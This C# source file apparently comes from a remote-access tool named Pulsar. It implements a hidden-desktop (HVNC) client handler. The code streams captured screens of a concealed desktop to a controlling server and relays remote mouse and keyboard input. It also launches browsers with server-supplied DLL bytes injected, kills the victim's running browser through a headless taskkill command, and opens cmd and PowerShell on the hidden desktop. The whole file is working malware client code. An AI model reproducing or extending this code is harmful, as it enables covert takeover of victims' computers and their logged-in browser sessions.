Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

417 lines
15 KiB
C#

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using Pulsar.Client.Helper;
using Pulsar.Client.Helper.HVNC;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
namespace Pulsar.Client.Messages
{
public class HVNCHandler : IMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _desktopData = null;
private Bitmap _desktop = null;
private ISender _clientMain;
private Thread _captureThread;
private CancellationTokenSource _cancellationTokenSource;
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
// frame control variables
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
private int _pendingFrameRequests = 0;
//fps counting
private int _framesSent = 0;
private float _currentFps = 0f;
// max buffer size to prevent memory issues
private const int MAX_BUFFER_SIZE = 10;
private readonly Stopwatch _stopwatch = new Stopwatch();
public bool CanExecute(IMessage message)
{
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
}
public bool CanExecuteFrom(ISender sender)
{
return true;
}
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetHVNCDesktop getDesktop:
Execute(sender, getDesktop);
break;
case DoHVNCInput doInput:
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
break;
case StartHVNCProcess startHVNCProcess:
_ = ExecuteAsync(sender, startHVNCProcess);
break;
case GetHVNCMonitors _:
Execute(sender);
break;
}
}
private void Execute(ISender client, GetHVNCDesktop message)
{
if (message.Status == RemoteDesktopStatus.Stop)
{
StopScreenStreaming();
}
else if (message.Status == RemoteDesktopStatus.Start)
{
StartScreenStreaming(client, message);
}
else if (message.Status == RemoteDesktopStatus.Continue)
{
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
_frameRequestEvent.Set();
}
}
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
{
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (message.CreateNew)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
_clientMain = client;
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
if (_captureThread == null || !_captureThread.IsAlive)
{
_cancellationTokenSource = new CancellationTokenSource();
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
{
IsBackground = true,
Name = "HVNC Capture Loop"
};
_captureThread.Start();
}
}
private void StopScreenStreaming()
{
_cancellationTokenSource?.Cancel();
if (_captureThread != null && _captureThread.IsAlive)
{
_frameRequestEvent.Set();
_captureThread.Join();
_captureThread = null;
}
if (_desktop != null)
{
if (_desktopData != null)
{
try
{
_desktop.UnlockBits(_desktopData);
}
catch
{
}
_desktopData = null;
}
_desktop.Dispose();
_desktop = null;
}
if (_streamCodec != null)
{
_streamCodec.Dispose();
_streamCodec = null;
}
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, 0);
}
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
{
_stopwatch.Start();
while (!cancellationToken.IsCancellationRequested)
{
try
{
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
{
_frameRequestEvent.WaitOne(500);
if (cancellationToken.IsCancellationRequested)
break;
continue;
}
byte[] frameData = CaptureFrame(displayIndex);
if (frameData != null)
{
_frameBuffer.Enqueue(frameData);
_framesSent++;
if (_stopwatch.ElapsedMilliseconds >= 1000)
{
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
_framesSent = 0;
_stopwatch.Restart();
}
}
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
{
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
}
}
catch (Exception)
{
Thread.Sleep(100);
}
}
}
private byte[] CaptureFrame(int displayIndex)
{
try
{
_desktop = ImageHandler.Screenshot(displayIndex);
if (_desktop == null)
{
return null;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _desktop;
if (_desktop.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
}
_desktop.Dispose();
_desktop = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
// Continue with original bitmap if conversion fails
processedBitmap = _desktop;
}
}
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_desktopData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, stream);
return stream.ToArray();
}
}
catch (Exception)
{
return null;
}
finally
{
if (_desktopData != null)
{
_desktop.UnlockBits(_desktopData);
_desktopData = null;
}
_desktop?.Dispose();
_desktop = null;
}
}
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
{
if (frameData == null || _clientMain == null) return;
try
{
_clientMain.Send(new GetHVNCDesktopResponse
{
Image = frameData,
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
IsLastRequestedFrame = isLastRequestedFrame,
Fps = _currentFps
});
}
catch (Exception)
{
}
}
private void ClearFrameBuffer()
{
while (_frameBuffer.TryDequeue(out _)) { }
}
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
{
try
{
string name = message.Path;
bool dontCloneProfile = message.DontCloneProfile;
byte[] dllBytes = message.DllBytes;
var browserPaths = new Dictionary<string, string>
{
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
};
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
{
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
Debug.WriteLine(killCommand);
ProcessHandler.CreateProc(killCommand);
await Task.Delay(1000).ConfigureAwait(false);
Debug.WriteLine($"Direct starting browser: {executablePath}");
ProcessHandler.CreateProc(executablePath);
return;
}
switch (name)
{
case "GenericChromium":
await ProcessHandler.StartGenericChromiumAsync(
dllBytes,
message.CustomBrowserPath,
message.CustomSearchPattern,
message.CustomReplacementPath
).ConfigureAwait(false);
break;
case "Chrome":
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
break;
case "Edge":
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
break;
case "Brave":
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
break;
case "Opera":
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
break;
case "OperaGX":
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
break;
case "Explorer":
ProcessHandler.StartExplorer();
break;
case "Cmd":
ProcessHandler.StartCmd();
break;
case "Powershell":
ProcessHandler.StartPowershell();
break;
case "Mozilla":
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
break;
case "Discord":
ProcessHandler.StartDiscord();
break;
default:
ProcessHandler.StartGeneric(name);
break;
}
}
catch (Exception ex)
{
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
}
}
private void Execute(ISender client)
{
int monitorCount = ImageHandler.GetMonitorCount();
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
Debug.WriteLine("HVNC Handler Disposed");
StopScreenStreaming();
ImageHandler.Dispose();
InputHandler.Dispose();
_streamCodec?.Dispose();
_cancellationTokenSource?.Dispose();
_frameRequestEvent?.Dispose();
}
}
}
}